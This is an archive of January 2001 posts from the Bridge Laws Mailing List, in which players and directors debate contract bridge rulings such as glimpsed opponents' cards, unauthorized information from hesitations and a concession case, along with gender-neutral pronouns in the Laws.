archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 17:04:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0B5top07054 for bridge-laws-outgoing; Thu, 11 Jan 2001 16:55:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0B5tgt07021 for ; Thu, 11 Jan 2001 16:55:43 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Wed, 10 Jan 2001 21:52:33 -0800 Message-ID: <00e401c07b93$15e96480$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] Date: Wed, 10 Jan 2001 21:49:50 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Grabiner wrote: > On Wed, 10 Jan 2001, Marvin L. French wrote: > > > > From: "Robin Barker" > > > > > > 5. looking intently at any other player during the auction > > > and play, or at another player's hand as for the purpose of > > > seeing his cards or of observing the place from which he > > > draws a card (but it is appropriate to act on information > > > acquired by inadvertently seeing an opponent's card). > > > > That's 74C5. > > > This abominable parenthetical statement, added in 1987, and > > perhaps appropriate for rubber bridge Laws, was evidently > > added to reflect L16B's characterization (1963 on) of such > > information as UI only if it comes before the auction begins. > > > > How could it possibly be right to act on information gained > > this way during the auction or play in a duplicate bridge > > pair game? > > There are many players who are extremely careless in holding > their cards. Some hold their cards at about a 45-degree anlgle, > rather than vertical; with a slight rotation, the hand becomes > visible to an opponent who is looking at the bidding cards. If they are pleasant sorts, I show them the trick of putting the little finger in front of the cards when holding them. This forces the cards to be held sufficiently vertical. Too bad that isn't taught to novices. This reminds me that Malvine Klausner, widow of Kem card inventor Siegried Klausner, partner of Dr. Frischauer, Ralph Cash, and Meyer Schleifer, used to arrange her cards in reverse, top card to the left. That puts all the designations but one at the bottom, making for good security. Seems difficult when I try it, but Malvine had no trouble. > Others fold up their cards in one pile, but > then rotate the pile so that the face of the top card is > pointed almost directly at an opponent. In these situations, > I usually warn the opponent, "Please don't show me your cards," > but I have sometimes already seen a card. People who show their hands are spoiling the game. When I ask them not to do so, a frequent answer is "Don't look!" That gets a TD call. > > And it is acceptable to look at an opponent, particularly when > you are asking that opponent a question, or answering one. Of course. But not at their hand. > > It is not fair to the side which sees a card due to the > opponent's carelessness to make this card UI under the L16A > rules, Not applicable, L16A concerns extraneous information from partner. > and applying the > L16B rule wouldn't be practical; what are you suppose to do > when you see an opponent's card in the middle of the auction? Nothing under present Laws. Assuming this was made UI, I would call the TD, saying (privately) I had seen such and such a card, listen to the TD lecture the opponent and warn of a PP it it happens again, and do whatever the TD tells me to do. Perhaps the TD will adjust with avg+/avg-, that's okay with me. I wouldn't feel right going against the odds to catch a known queen, even if that queen's location is AI according to some people. I often see a method used to count cards that involves fanning the hand horizontally above the table and riffling through them. Sometimes the cards are tilted in a way that would allow the faces to be seen by the player's partner. The riffle goes pretty fast, but a sharp eye could notice if there are few or many face cards in the hand. I hope that doesn't happen, and haven't bothered to check. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 17:12:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0B6BoY12785 for bridge-laws-outgoing; Thu, 11 Jan 2001 17:11:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0B6Bht12754 for ; Thu, 11 Jan 2001 17:11:44 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0B6BPn01774 for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 06:11:25 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Thu, 11 Jan 2001 06:11 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] What is suggested ? To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <004901c07ae1$601cbbe0$162b01d5@dodona> Grattan wrote: > > > Kaplan stated that *if* the AC deemed that the doubler > > > had deliberately hesitated to prevent partner pulling, > > > then a mere score adjustment was not appropriate, > > > but rather a disciplinary penalty. > > > > > > +=+ If this is what had happened there were too > distinct offences: (a) the deliberate hesitation, > and (b) using the UI conveyed. Each has its > separate treatment by the Director. Usually only one offence - but that extremely serious. (b) involves an ethical player avoiding taking advantage of the UI (in the typical slow double to prevent a pull situation). Tim -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 17:27:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0B6QXI17961 for bridge-laws-outgoing; Thu, 11 Jan 2001 17:26:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0B6QRt17930 for ; Thu, 11 Jan 2001 17:26:28 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Wed, 10 Jan 2001 22:23:19 -0800 Message-ID: <010501c07b97$61f1f960$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws" References: <200101101753.JAA23221@mailhub.irvine.com> Subject: Re: [BLML] Bad Language Date: Wed, 10 Jan 2001 22:17:47 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert wrote: > > >If I get a Law book with the word "hir" in it, it's going directly > > into the paper shredder. > > Plus some other things I snipped. Well said, Adam! I agree completely. > > Personally, nearly every time I see "they" used in place of "he", I > have to stop and look carefully to make sure I understand the meaning. Every time I see "he" used to apply to both men and women, I too have to stop and look carefully: Everyone in a mixed-sex Japanese bath is expected to keep his hands to himself. > As for sexism, well, while I think there are some statements that are > definitely sexist, in the vast majority of cases, I think any > "sexism" is solely in the eye of the beholder. Or, more likely, buried in the unconscious. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 17:57:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0B6tUY20703 for bridge-laws-outgoing; Thu, 11 Jan 2001 17:55:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0B6tOt20699 for ; Thu, 11 Jan 2001 17:55:25 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Wed, 10 Jan 2001 22:52:16 -0800 Message-ID: <012e01c07b9b$6d1f77a0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Cc: References: <200101101753.JAA23221@mailhub.irvine.com> Subject: Re: [BLML] Bad Language Date: Wed, 10 Jan 2001 22:49:15 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Beneschan wrote: > > Richard Hills wrote: > > > Traditionally, the English generic (undefined gender) > > third person singular is *he* or *his*. > > > > A few decades ago, Brian Glubok used the construction > > s/he in an answer to a problem in the Bridge World's MSC. > > The then MSC Director, Alan Truscott, deprecated such an > > inelegant neologism. Edgar Kaplan also supported > > old-fashioned sexist grammar. One of Kaplan's > > reasons for stodginess was that there were no > > generally accepted alternative words to replace the > > generic use of *he* and *his*. > > > > However, since that time, a consensus has developed > > amongst non-discriminatory grammarians on what the > > gender-neutral generic third person singular words should > > be. > > > > *You* and *your* are not only generic terms for > > second person singular, but are also the generic terms > > for second person plural. Therefore, the new logical > > extension by these progressive grammarian is to make > > *they* and *their* not only generic third person plural, but > > also the generic third person singular terms. > > > > The 1998 Laws are peppered with wince-making uses of > > *he* and *his*. Writing the 2008 Laws in non-sexist > > language might require careful wording from the drafting > > committee (to prevent ambiguity between singular and > > plural), but would send an important symbolic message. > > Some thoughts: > > (1) Since bridge is a partnership game, there are many occasions where > the Laws refer to both members of a partnership, which naturally > requires use of the third person plural. To use the plural also > to refer to a single player would undoubtedly make the Laws more > confusing. Please cite some of these Laws, so we can see what you mean. > > (2) If there is a way to use the plural in an unambiguous way (and I'm > not convinced there is a way), I don't have much confidence that > the drafters would find it. If they knew how to write laws > unambiguously, BLML would have about 80% fewer posts than it does. > (Only half seriously. All right, that's an exaggeration, and > normally the Laws' drafters do a good job. Eliminating all > ambiguities from anything is a superhuman task.) Please cite an ambiguous Law that cannot be made unambiguous. > > (3) As one who sometimes *does* use the third person plural in my > writing, I've found that it works only some of the time. I've run > into cases where I considered using the third person plural, but > found the result to be quite awkward or confusing. So to my mind, > they/their is a defective "solution". It is not meant to be an unfailing solution, merely a step in the right direction. One can always reword an awkward sentence, can't one? > > (4) I'm willing to bet that using the third person plural, or even > more cumbersome constructs such as "he or she", will make a lot > more people wince than is caused by the current uses of "he" and > "his". I don't like "he or she" either, and use s/he and hir as a joke, not seriously.:)) There is usually a third way. > > (5) There is no sexist language in the Laws presently. It's common in > the English language for words to have two meanings, with the > correct meaning to be determined from context; and "he" and its > inflections are such words. One meaning of "he" is a pronoun > referring to a male person; the other meaning of "he" is a pronoun > referring to a person of unknown gender. Unknown sex. Words have gender, people have sex. "He" is always masculine gender, sometimes used for the male sex, sometimes for both male and female sexes, sometimes for one person of unknown sex. > People that think that > language like this "excludes women", or refers primarily to males, > are either uninformed of, or ignoring, the second meaning of the > word "he". They know the meaning, and assume it symbolizes male dominance. Very English speakers know there is such a thing as gender, since English is essentially a genderless language. The only remaining scraps of gender are in first person singular pronouns. Words such as heir/heiress indicate sex, not gender. > > (6) I've argued on r.g.b that the "traditional" grammar actually > discriminates against men, because women get a pronoun that > unambiguously refers to them, while we men get stuck with an > ambiguous pronoun that we have to share. Kaplan goes you one better, saying that men don't have a pronoun and must make do with the general one. Discrimination! > (7) I think there are a number of more pressing ambiguity problems in > the Laws; and I'd be distressed if the Lawmakers decided, instead > of clarifying the claim/revoke situation or explaining how an > insufficient bid could be "conventional" or ripping out L25B, to > spend the time fixing pronouns. Of course you are right. > > (8) If I get a Law book with the word "hir" in it, it's going directly > into the paper shredder. > That's not been suggested. Just because some of us use "hir" to make a point, it doesn't mean we would use it in serious writing. We are just expressing a wistful resentment that we don't have an asexual pronoun like the French have. Hey, would "one" work? "One may, without penalty...unless one's partner..." Englishmen talk like that all the time in American movies, so I assume it's good English. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 19:36:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0B8UlD20876 for bridge-laws-outgoing; Thu, 11 Jan 2001 19:30:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0B8Uet20835 for ; Thu, 11 Jan 2001 19:30:41 +1100 (EST) Received: from dodona (host213-1-37-132.host.btclick.com [213.1.37.132]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id IAA07357; Thu, 11 Jan 2001 08:30:02 GMT Message-ID: <000b01c07ba8$f2c51ba0$842501d5@dodona> From: "Grattan Endicott" To: , Cc: References: Subject: Re: [BLML] What is suggested ? Date: Thu, 11 Jan 2001 08:30:52 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott 'Suspicions amongst thoughts are like bats amongst birds, they ever fly by twilight.' - Francis Bacon. <===> ----- Original Message ----- From: Tim West-meads To: Cc: Sent: Thursday, January 11, 2001 6:11 AM Subject: Re: [BLML] What is suggested ? > In-Reply-To: <004901c07ae1$601cbbe0$162b01d5@dodona> > Grattan wrote: > > > > Kaplan stated that *if* the AC deemed that the doubler > > > > had deliberately hesitated to prevent partner pulling, > > > > then a mere score adjustment was not appropriate, > > > > but rather a disciplinary penalty. > > > > > > > > > +=+ If this is what had happened there were too > > distinct offences: (a) the deliberate hesitation, > > and (b) using the UI conveyed. Each has its > > separate treatment by the Director. > > Usually only one offence - but that extremely serious. > (b) involves an ethical player avoiding taking advantage > of the UI (in the typical slow double to prevent a pull > situation). > +=+ The first player has committed a violation of Law 73B1. The second player has violated Laws 16 and 73C. There are two distinct violations. A little to my surprise the first is a 'shall' violation; it is the second that is a 'must'. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 19:56:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0B8nca27548 for bridge-laws-outgoing; Thu, 11 Jan 2001 19:49:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0B8nVt27509 for ; Thu, 11 Jan 2001 19:49:32 +1100 (EST) Received: from dodona (host213-1-57-66.host.btclick.com [213.1.57.66]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id IAA15528 for ; Thu, 11 Jan 2001 08:49:08 GMT Message-ID: <001d01c07bab$9db85020$842501d5@dodona> From: "Grattan Endicott" To: References: <008201c07b3d$81486240$56991e18@san.rr.com> Subject: Re: [BLML] Bad Language Date: Thu, 11 Jan 2001 08:50:12 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott 'Suspicions amongst thoughts are like bats amongst birds, they ever fly by twilight.' - Francis Bacon. <===> ----- Original Message ----- From: Marvin L. French To: Sent: Wednesday, January 10, 2001 7:38 PM Subject: Re: [BLML] Bad Language > > > Now, most Americans (I can't speak for the English) > +=+ noted +=+ > > (This smacks of the Victorian age, > when women's legs had to be called "limbs."). > +=+ not speaking for the English, of course+=+ > > Accordingly, the majority naturally will assume > from an early age that the use of "he" as a general > pronoun symbolizes male dominance over women. > That is why we need some other way of referring >to a person or persons of unidentified sex. > +=+ Some of this particular thread has the great novelty of commentary on a text that has not yet been written. Instead of charging at windmills one could perhaps wait to see what emerges. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 20:32:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0B9UVn12120 for bridge-laws-outgoing; Thu, 11 Jan 2001 20:30:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0B9UPt12092 for ; Thu, 11 Jan 2001 20:30:25 +1100 (EST) Received: from [62.7.3.117] (helo=pbncomputer) by gadolinium.btinternet.com with smtp (Exim 3.03 #83) id 14Ge3h-0007Ly-00 for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 09:30:13 +0000 Message-ID: <000701c07bb1$1e690200$7503073e@pbncomputer> From: "David Burn" To: References: <67378DEA146DD21194C20000F87B08BA01B8B74B@fdwag002s.fd.agro.nl> Subject: Re: [BLML] self-serving ? Date: Thu, 11 Jan 2001 09:30:18 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk DWS wrote: > I am sick and tired of people quoting the Scope for no reason except > to interpret a particular Law in a way that the Law does not say. Let > us alter the scope, to say, the Laws are primarily to provide redress, > and secondarily to penalise. Let it be recorded that on this eleventh day of January in the Year of Our Lord 2001, I have found a statement by David Stevenson with which I am in wholehearted agreement. Let us hope that this will usher in a new era of peace and tranquillity for all. In fact, I wouldn't bother to put anything in the "Scope of the Laws" at all. The Laws are there to tell people how to play a game, not to express noble but specious sentiment. It does not matter why the Laws say what they say, it matters only what they say. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 20:53:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0B9p8R15497 for bridge-laws-outgoing; Thu, 11 Jan 2001 20:51:09 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from protactinium ([194.73.73.176]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0B9p2t15493 for ; Thu, 11 Jan 2001 20:51:03 +1100 (EST) Received: from [62.7.3.117] (helo=pbncomputer) by protactinium with smtp (Exim 3.03 #83) id 14GeNe-0007n5-00 for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 09:50:51 +0000 Message-ID: <000d01c07bb3$fffff1e0$7503073e@pbncomputer> From: "David Burn" To: "Bridge Laws" References: <200101101753.JAA23221@mailhub.irvine.com> <010501c07b97$61f1f960$56991e18@san.rr.com> Subject: Re: [BLML] Bad Language Date: Thu, 11 Jan 2001 09:50:56 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin wrote: > Everyone in a mixed-sex Japanese bath is expected to keep his hands to > himself. Before this goes any further (or perhaps to stop it going any further, because although an enjoyable discussion in itself, it has got nothing to do with the Laws of bridge and is of no significance to members of the list whose native tongue is not English): "Everyone" may be used as both a singular and a plural noun, usually the latter. To see this, answer the following question. What pronoun would you substitute for the last word in the sentence: "I turned round and saw everyone"? Would you say "I turned round and saw him" or "I turned round and saw them"? The use of the word "hopefully" in such sentences as "Hopefully the people responsible for Law 25B will be infested by a plague of boils" is perfectly good English, both syntactically and semantically. It is entirely acceptable to: split infinitives, begin sentences with conjunctions, and end sentences with prepositions. People who object to such constructions where their avoidance would result in a barbarous utterance are - well, they are probably the people responsible for Law 25B. The words "shall" and "will" are used differently in England from the way in which they are used in America. Neither usage is more or less correct than the other. By now, the distinction has become so blurred that the words are, in most cases, interchangeable for practical purposes. In order to avoid the above slight clumsiness, it would not (yet) have been quite correct for me on this side of the Atlantic to write: "...differently in England than in America". However, English is a living language, and I have no doubt that the next generation of English people will accept the "different than" construction as commonplace, just as Americans do today. I do not know whether the next generation but one will accept the words "apple's and pear's" as correct English - but if it does, then they are. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 21:48:33 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BAi0w15544 for bridge-laws-outgoing; Thu, 11 Jan 2001 21:44:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BAhst15540 for ; Thu, 11 Jan 2001 21:43:55 +1100 (EST) Received: from vnmvhhid ([62.255.4.114]) by mta02-svc.ntlworld.com (InterMail vM.4.01.02.27 201-229-119-110) with SMTP id <20010111104336.BTSX23225.mta02-svc.ntlworld.com@vnmvhhid> for ; Thu, 11 Jan 2001 10:43:36 +0000 Message-ID: <000d01c07bbb$86b3b940$7204ff3e@vnmvhhid> From: "Anne Jones" To: "BLML" Subject: [BLML] The same but different. Date: Thu, 11 Jan 2001 10:44:30 -0000 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I remember well the exam questions from my school days - Compare and Contrast--- Please Compare and Contrast Law 16A and Law 73C Anne -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 21:51:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BAorN15558 for bridge-laws-outgoing; Thu, 11 Jan 2001 21:50:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BAojt15553 for ; Thu, 11 Jan 2001 21:50:46 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id LAA01361; Thu, 11 Jan 2001 11:46:31 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id LAA08955; Thu, 11 Jan 2001 11:50:33 +0100 (MET) for Message-Id: <3.0.6.32.20010111120242.008192d0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 11 Jan 2001 12:02:42 +0100 To: "Marvin L. French" , "Bridge Laws Mailing List" From: alain gottcheiner Subject: Re: [BLML] What is suggested ? In-Reply-To: <001f01c07b22$e09c0640$56991e18@san.rr.com> References: <200101082201.OAA31270@mailhub.irvine.com> <01010816063607.07132@psa836> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 08:31 10/01/01 -0800, Marvin L. French wrote: > >For reasons of conscience, I do not take an action--logical or illogical--that >is influenced by extraneous information. AG : it all depends on what you consider as extraneous information. What follows would at first sight seem to be worth a cartload of ;-)'s, but I can ensure you i'm in SMOn. An occasional teammate of mine has te well-established reputation always to hold the Queen of Spades when it matters. It would seem irrational to state it, but the facts are there ... So, it has occasionally happened that I decided whom to play for said Queen by looking at which place he occupies. I never went wrong. Our local group exchanged a long thread on the subject of whether this was AI or UI. The consensus was eventually reached, that any information that is available to all players is AI, thus this was. It is, however, clearly extraneous information (gathered from other sources that those listed in the Laws and their addendum). And you might call the action illogical, although using anything that works is at least rational, if not logical. And my reputation didn't suffer at all from this, except on the day when, partnering this famous player, I successfully led from KJxx spades rather than KJxxx diamonds, and when asked why, I answered 'I knew that my partner had the Queen, ... er, everybody in Brussels knows that.' Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 21:57:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BAtQE15585 for bridge-laws-outgoing; Thu, 11 Jan 2001 21:55:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BAt5t15572 for ; Thu, 11 Jan 2001 21:55:14 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14GfNb-000AcG-0C for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 10:54:53 +0000 Message-ID: Date: Thu, 11 Jan 2001 03:32:53 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Concession References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk richard.hills@immi.gov.au writes >David Stevenson wrote: > >[snip] > >>Partner now leads a card, and without looking at it you >>say "Two off, we just get our trump tricks." >> >> >>and the position at this moment is: >> >> T >> -- >> 63 >> 984 >> KJ -- >> KJ N 6 >> -- W E T54 >> Q6 S JT5 >> Q8762 >> Q >> -- >> -- >> >>The card partner has led is, in fact, the DT, and the >>play will go [fairly obviously] ruff, over-ruff, SK, HK, >>three off. >> >>Should the defence get three off? >Obviously, West's concession showed that they were being >*careless or inferior*. But is it *irrational* for the >contract to be only two off? > >Perhaps West's concession was based on a routine cow flying >by, miscounting South to hold nothing but trumps left. >Acting on that assumption, West would be indifferent as to >*when* they took their two trump tricks, so as TD and AC I >would rule only two down. Seems to be the only answer from anyone. Does that mean everyone agrees with you, I wonder? It is always difficult to be objective when it happened to oneself, and I was the prawn who conceded two off. Of course, I am only asking as a matter of interest - my partner John Armstrong and I just wrote two down on our score-cards, and he congratulated me on my fine effort. Fortunately he had done something earlier that would be considered silly by Mrs Guggenheim, so we agreed to bury the two incidents! But my concession was based on not seeing the one line that gets it three off. However, once partner has played the right card the defence is completely obvious, so no normal line from that moment results in less than three off. So if we had asked for a ruling should it not be three off? -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 21:57:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BAtTZ15587 for bridge-laws-outgoing; Thu, 11 Jan 2001 21:55:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au 